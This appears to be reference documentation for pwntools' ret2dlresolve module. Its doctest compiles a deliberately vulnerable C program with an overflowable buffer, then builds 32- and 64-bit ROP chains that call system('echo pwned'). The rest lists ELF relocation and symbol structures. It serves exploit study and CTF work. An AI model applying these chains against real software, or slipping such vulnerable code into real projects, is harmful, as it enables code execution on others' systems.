pwnlib.rop.ret2dlresolve — Return to dl_resolve

Provides automatic payload generation for exploiting buffer overflows using ret2dlresolve.

Example

>>> program = tempfile.mktemp()
>>> source  = program + ".c"
>>> write(source, '''
... #include <unistd.h>
... void vuln(void){
...         char buf[64];
...         read(STDIN_FILENO, buf, 200);
... }
... int main(int argc, char** argv){
...         vuln();
... }''')
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-m32", "-o", program]
>>> process(cmdline).wait_for_close()
>>> context.binary = program
>>> elf = ELF(program)
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000:        0x8049030 read(0, 0x804ce00)
0x0004:        0x8049208 <adjust @0x10> pop edi; pop ebp; ret
0x0008:              0x0 arg0
0x000c:        0x804ce00 arg1
0x0010:        0x8049020 [plt_init] system(0x804ce30)
0x0014:           0x4b74 [dlresolve index]
0x0018:          b'gaaa' <return address>
0x001c:        0x804ce30 arg0
>>> p = process(program)
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
>>> # and now for 64 bits
>>> cmdline = ["gcc", source, "-fno-stack-protector", "-no-pie", "-o", program]
>>> process(cmdline).wait_for_close()
>>> context.binary = program
>>> elf = ELF(program)
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump()) # doctest: +SKIP
0x0000:         0x4011aa pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x4011a8 pop rsi; pop r15; ret
0x0018:         0x404e00 [arg1] rsi = 4214272
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x401030 read
0x0030:         0x4011aa pop rdi; ret
0x0038:         0x404e58 [arg0] rdi = 4214360
0x0040:         0x401020 [plt_init] system
0x0048:            0x318 [dlresolve index]
>>> p = process(program)
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
...     p.poll(True) == -signal.SIGSEGV
... else:
...     p.recvline() == b'pwned\n'
True
class pwnlib.rop.ret2dlresolve.Elf32_Rel(r_offset=0, r_info=0)[source]
typedef struct elf32_rel {
    Elf32_Addr  r_offset;
    Elf32_Word  r_info;
} Elf32_Rel;
class pwnlib.rop.ret2dlresolve.Elf32_Sym(st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0)[source]
typedef struct elf32_sym{
    Elf32_Word  st_name;
    Elf32_Addr  st_value;
    Elf32_Word  st_size;
    unsigned char       st_info;
    unsigned char       st_other;
    Elf32_Half  st_shndx;
} Elf32_Sym;
class pwnlib.rop.ret2dlresolve.Elf64_Rel(r_offset=0, r_info=0)[source]
typedef struct elf64_rel {
    Elf64_Addr r_offset;
    Elf64_Xword r_info;
} Elf64_Rel;
class pwnlib.rop.ret2dlresolve.Elf64_Sym(st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0)[source]
typedef struct elf64_sym {
    Elf64_Word st_name;
    unsigned char       st_info;
    unsigned char       st_other;
    Elf64_Half st_shndx;
    Elf64_Addr st_value;
    Elf64_Xword st_size;
} Elf64_Sym;
class pwnlib.rop.ret2dlresolve.MarkedBytes[source]
class pwnlib.rop.ret2dlresolve.Queue[source]